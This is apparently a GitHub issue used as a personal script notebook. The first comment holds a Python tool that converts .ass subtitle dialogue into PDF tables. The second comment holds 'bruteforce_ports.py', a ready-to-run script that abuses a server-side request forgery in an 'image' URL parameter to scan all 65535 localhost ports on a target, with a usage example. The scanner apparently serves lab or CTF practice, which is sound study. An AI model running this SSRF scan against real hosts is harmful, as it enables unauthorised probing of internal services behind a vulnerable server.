WDavid404 / QA_room

record some useful script for QA
0 stars 0 forks source link

[python]sample code -- 文件处理, port scan #2

Open WDavid404 opened 1 year ago

WDavid404 commented 1 year ago

从ass文件里提取想要的信息,并转换成pdf表格

## 需要先安装pdfkit

import sys
import os
import pdfkit
import pandas as pd

def extract_word(file_path):
    output_file_path = "word_" + file_path.split(".")[2]+".csv"
    try:
        with open(file_path, "r", encoding="utf-16", errors="ignore") as file, \
            open(output_file_path, "w", encoding="utf-16") as output_file:
            # Loop through each line in the file
            for line in file:
                if r"Dialogue" in line:
                    new_line = line.strip().split(",")[9].replace(r"\N{\fn微软雅黑}{\fs12}{\b0}{\c&HFFFFFF&}{\3c&H2F2F2F&}{\4c&H000000&}", ";")
                    #print(new_line)
                    #### skip line with "{\an8\xxxxx}" comment
                    if r"{\an" not in new_line and r"{\b" not in new_line:
                        output_file.write(new_line + "\n")
    except FileNotFoundError:
        print(f"File not found: {file_path}")
    except Exception as e:
        print(f"An error occurred: {str(e)}")

    output_pdf_path = "./pdf/" + output_file_path.split(".")[0]+".pdf"
    print(output_pdf_path)
    try:
        df = pd.read_csv(output_file_path, encoding="utf-16", sep=';', header=None)
        html_table = '<head><meta charset="utf-16"></head>' + df.to_html(index=False, header=False)
        #print(html_table)

        options = {    'page-size': 'Letter',
        'margin-top': '0mm',
        'margin-right': '0mm',
        'margin-bottom': '0mm',
        'margin-left': '0mm'
        }

        pdfkit.configuration(wkhtmltopdf='/usr/local/bin/wkhtmltopdf')
        pdfkit.from_string(html_table, output_pdf_path, options=options)
    except Exception as e:
        print(f"An error occurred during processing pdf: {str(e)}")
    #delete temp file
    os.remove(output_file_path)

if __name__ == "__main__":
    # get file list on the specific dir
    dir_path = sys.argv[1] if len(sys.argv)>2 else os.getcwd()
    print(dir_path)
    for file_path in os.listdir(dir_path):
        # check if current file_path is a file
        if os.path.isfile(os.path.join(dir_path, file_path)) and file_path.endswith('.ass'):
            extract_word(file_path)
    print("Done.")
WDavid404 commented 2 days ago

bruteforce_ports.py: Do port scan against the target specific URL (in SSRF case) the URL is http://{ip:port}/image?image=http://localhost:<scanport>

import requests
import sys
from urllib.parse import urlencode

def check_ports(ip, filter_text):
    filtered_ports = []
    open_ports = []

    for port in range(1, 65536):
        query_params = urlencode({'image': f'http://localhost:{port}'})
        url = f'http://{ip}/image?{query_params}'

        try:
            response = requests.get(url)

            if filter_text in response.text:
                filtered_ports.append(port)
            else:
                open_ports.append(port)
                print(f'Port {port}: OPEN')
        except requests.ConnectionError:
            print(f'Port {port}: Connection failed')

    print("\nSummary:")
    print(f"Total Ports Scanned: 65535")
    print(f"Open Ports: {len(open_ports)}")
    print(f"Filtered Ports (containing '{filter_text}'): {len(filtered_ports)}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <IP> <Filter Text>")
        sys.exit(1)

    ip = sys.argv[1]
    filter_text = sys.argv[2]

    check_ports(ip, filter_text)

Usage: python3 bruteforce_ports.py 192.168.123.113:8080 "Connection refused"